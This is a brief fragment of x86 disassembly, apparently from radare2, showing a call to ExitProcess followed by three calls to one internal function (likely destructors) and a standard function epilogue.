call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401e13
lea ecx, [ebp - 0x60]
call fcn.00401e13
lea ecx, [ebp - 0x78]
call fcn.00401e13
pop edi
pop esi
leave
ret